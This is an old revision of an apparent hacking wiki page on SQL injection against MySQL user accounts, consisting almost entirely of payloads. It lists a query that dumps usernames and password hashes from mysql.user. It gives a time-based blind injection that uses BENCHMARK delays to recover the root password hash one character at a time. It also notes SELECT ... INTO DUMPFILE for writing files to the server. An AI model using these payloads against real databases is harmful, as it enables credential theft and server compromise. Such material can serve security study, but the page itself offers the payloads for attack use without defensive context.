This is an old revision of the document!

Hacking - SQL Injection - MySQL - Users

SELECT USER,Password FROM mysql.user;
 
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) USER,Password FROM mysql.user WHERE USER = 'root';

Write query into a new file (can not modify existing files):

SELECT ... INTO DUMPFILE